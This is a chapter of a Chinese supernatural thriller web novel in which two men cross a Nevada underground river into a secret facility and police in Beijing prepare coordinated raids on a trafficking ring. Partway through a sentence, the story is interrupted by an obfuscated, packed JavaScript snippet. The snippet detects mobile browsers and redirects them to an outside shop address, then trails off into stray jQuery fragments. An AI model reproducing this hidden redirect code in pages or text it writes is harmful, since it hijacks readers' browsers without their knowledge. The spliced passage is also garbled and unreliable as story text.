陆予瞻在每一世里学习、准备、隐藏,把所有温柔留给君荼白,把所有黑暗留给自己。他学会了用左手冲咖啡,学会了用右手杀人,学会了在温和的微笑下藏起血淋淋的刀刃。 “值得吗?”君荼白轻声问。 陆予瞻笑了。 那个笑容很淡,但很真实。 “只要你活着,就值得。” —— 凌晨四点,他们出发了。 沈鉴继续研究净化方法和破解基金会的内部网络,如有必要会移交警方协助清剿据点。君荼白和陆予瞻乘坐深夜航班飞往洛杉矶,再从洛杉矶转乘一架小型私人飞机。飞行员是陆予瞻多年前安排的暗线,可靠,且不问多余的问题。 飞机穿过云层时,君荼白看着窗外漆黑的夜空,突然问:“周屹最后……有给你留下什么话吗?” 陆予瞻坐在他对面,正在检查装备。闻言,他动作停了一下。 “有。”他说,但没有抬头,“他说,对不起。” “对不起什么?” “他说对不起不能继续保护你了。”陆予瞻抬起头,茶色瞳孔在机舱昏暗的光线下显得有些深邃,“也对不起……要把这些事都留给你。” 君荼白闭上眼睛。 他想起了周屹最后回头时说的那几个字。 对不起。 好好活。 他知道那不是请求,是命令。是一个用永恒换来的、必须执行的命令。 “我们会让他弟弟轮回的。”君荼白说,“小屿,还有所有孩子。我会让他们都回家。” 陆予瞻点头,重新低头检查装备。 但他的手指在某个符文镜上停留了很久,指腹轻轻摩挲着镜面边缘。 那里刻着一行极小的字,是古蛊文。 那句话是:“愿以我魂,换汝长安。” 是周屹刻上去的。 在决定牺牲之前,他用最后的时间,在每一件装备上都刻了这句话。 陆予瞻的手指在那行字上停留了很久,然后,他合上箱子,看向窗外的云海。 飞机正在穿过对流层,机身有些颠簸。 十小时后,内华达沙漠。 地表温度四十七度,热浪扭曲着远处的景象。君荼白和陆予瞻穿着伪装成地质勘探人员的服装,开着一辆改装过的越野车,沿着废弃的矿道深入沙漠腹地。 “方舟的入口在三十公里外的一个废弃铀矿。”陆予瞻看着导航,“但那条路有监控,我们得走另一条路,地下暗河。” 他调出一张老地图,上面标着一条几乎被遗忘的地下河道。那是上世纪五十年代探矿时发现的,后来因为辐射超标被封闭。 “辐射怎么办?”君荼白问。 陆予瞻从装备箱里取出两枚玉佩:“避秽符,能抵挡三小时。够了。” 他们在一个隐蔽的峡谷口停下,找到了那个被铁栅栏封住的矿洞入口。栅栏上挂着“危险!辐射区!禁止入内!”的牌子,锈迹斑斑,看起来已经几十年没人动过了。 陆予瞻用左手轻松地拆掉了,手法专业得像拆过无数次。 “进去后跟紧我。”他说,“暗河里有东西。” “什么东西?” “基金会放的‘守门员’。”陆予瞻先钻了进去,“用辐射变异过的生物,结合蛊术改造。不是活物,但比活物更麻烦。” 君荼白跟着钻进去。矿洞里很黑,只有头灯的光束切开黑暗。空气里有浓重的霉味和化学试剂的气味,地面潮湿,踩上去会发出黏腻的声音。 走了大约五百米,前方传来水声。 一条地下河,河水漆黑,散发着诡异的荧光。河面上漂浮着一些白色的、像水母一样的东西,随着水流缓缓蠕动。 “那是什么?”君荼白压低声音。 “意识水母。”陆予瞻从包里掏出一把朱砂,撒进河里,“基金会用人类脑组织培养出来的,能感知思维波动。如果被它们缠上,会陷入幻觉。” 朱砂接触到河水,发出滋滋的声音。那些白色水母像是被烫到一样,迅速沉入水底。 “走。”陆予瞻率先踏入河中。 河水冰冷刺骨,深及腰部。君荼白跟着下去,头灯的光束在漆黑的水面上晃动。他能感觉到水下有什么东西在游动,碰到他的腿,又快速游开。 走到河中央时,陆予瞻突然停下。 “等等。”他说,举起左手。 前方水面上,浮现出一个巨大的影子。 是一个人形的东西,但有三米高,身体半透明,能看见里面扭曲的骨骼和蠕动的内脏。它没有脸,只有一个巨大的、空洞的嘴。 “辐射畸变体。”陆予瞻低声说,“生前是矿工,死后被基金会改造。它靠吸收精神能量为生,最喜欢……痛苦的情绪。” 怪物张开了嘴。 它没有发出声音,但君荼白感到一阵剧烈的头痛,仿佛有什么东西在撕扯他的大脑。记忆碎片不受控制地涌上来:仓库,烙铁,枪声,死亡…… 陆予瞻从口袋里掏出一枚铜钱,和定魂钱很像,但更古老,上面刻着密密麻麻的符文。 他将铜钱贴在额头,念了一句什么。 然后,他的眼睛变成了全黑。眼白和瞳孔都消失了,只剩下两个深不见底的黑洞。 怪物像是感到了恐惧,后退了一步。 但陆予瞻已经冲了过去。他左手按在怪物胸口,那只还打着石膏的右手猛地一扯。 君荼白看见一团暗红色的、像烟雾一样的东西从怪物体内被扯了出来。怪物发出无声的尖叫,身体开始崩溃、溶解,最后化为一滩黑色的液体,融入河水。 陆予瞻踉跄了一下,扶着岩壁才站稳。他的眼睛恢复正常,但脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052023|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色苍白得可怕,右手的石膏裂开了一道缝,有血渗出来。 “陆队——”君荼白冲过去扶住他。 “没事。”陆予瞻摆摆手,喘了几口气,“只是……扯出了它的核心意识。这种东西活着比死了痛苦,我给了它解脱。” 在地下河的尽头,君荼白隐约可以看到一扇巨大的金属门。 门的上方,有一个发光的标志:一艘船,在波浪上航行。 方舟。 他们到了。 “记住。”陆予瞻最后说,“进去后,不要相信你看到的任何东西。基金会最擅长制造幻觉,尤其是针对……我们这种有创伤记忆的人。” 君荼白点头。 两人涉过最后一段河水,来到那扇门前。 门没有锁,但门缝里渗出一股熟悉的、令人作呕的气味。那是福尔马林混合着血腥的气味。君荼白在第一世的仓库里,临死前闻到的最后一种气味。 门内,传来轻微的、像是玻璃器皿碰撞的声音。还有……很多人的呼吸声。但那些呼吸声,太整齐了,整齐得不像是活人。 陆予瞻用左手推开了门。门后,是一个巨大的、洁白得刺眼的空间。空间里,整齐排列着上百个培养舱。 每个舱里,都悬浮着一个孩子。 他们都睁着眼睛,看着门口。 他们看着君荼白和陆予瞻。 然后,上百个孩子,同时笑了 ———— 同一时间,北京。 沈鉴站在市公安局特别行动指挥中心,面前是六块显示屏,分别显示着上海、广州、成都等地的实时卫星图像。他身边站着刑侦支队队长郑国强,一个两鬓微白、眼神犀利的中年人。 “沈教授,你提供的证据足够我们申请搜查令了。”郑国强指着屏幕,“但这几个地方同时行动,我们需要确切的时间点。” 沈鉴看了眼腕表:“内华达州时间凌晨三点整,君荼白会切断‘方舟’的主能源。那时,所有据点的外部防御会失效五分钟。你们必须在五分钟内突破第一道防线,否则备用系统启动,人质会有危险。” “人质?”郑国强皱眉。 “每个据点地下都关押着至少三十名‘记忆供体’。”沈鉴调出一份文件,“集团通过医疗诈骗、人口贩卖等方式绑架受害者,提取他们的痛苦记忆并制成‘忆晶石’。还活着的,都处于半植物人状态。” 指挥中心陷入短暂的沉默。一名年轻警员忍不住问:“他们怎么敢...” “因为他们认为自己在创造永恒。”沈鉴声音低沉,“林墨生,集团创始人,前神经科学家。他的妻子三十年前死于阿尔茨海默症,从那天起,他执着于将人类意识从脆弱的□□中解放。” 郑国强握紧拳头:“所以他贩卖痛苦?用别人的地狱来搭建自己的天堂?” “更糟。”沈鉴调出另一组数据,“他相信只有极致的痛苦才能淬炼出‘纯粹的意识’,因此刻意制造和收集创伤。集团高层的记忆都被清洗过,只留下愉悦部分,而痛苦则被储存、交易、甚至...品尝。” 指挥中心响起压抑的吸气声。 “内华达州行动开始后,我会留在这里协助破解各据点的内部安防。”沈鉴说,“但我需要你们的人配合一件事,在每个据点寻找数字线索:3-17-24-71。” “那个求救密码?”郑国强想起沈鉴之前提交的报告。 “周屹进入镜渊后传递了一条信息,说这个密码不仅指向位置,还指向时间。”沈鉴眼神凝重,“我们破解了位置——六大据点和公海实验室,但时间维度仍未解开。我担心...” 他话未说完,主屏幕上突然出现警报:成都据点的能量读数异常上升。 “他们在提前激活什么。”沈鉴快速操作控制台,“郑队,必须马上行动。时间可能比我们想的更少。”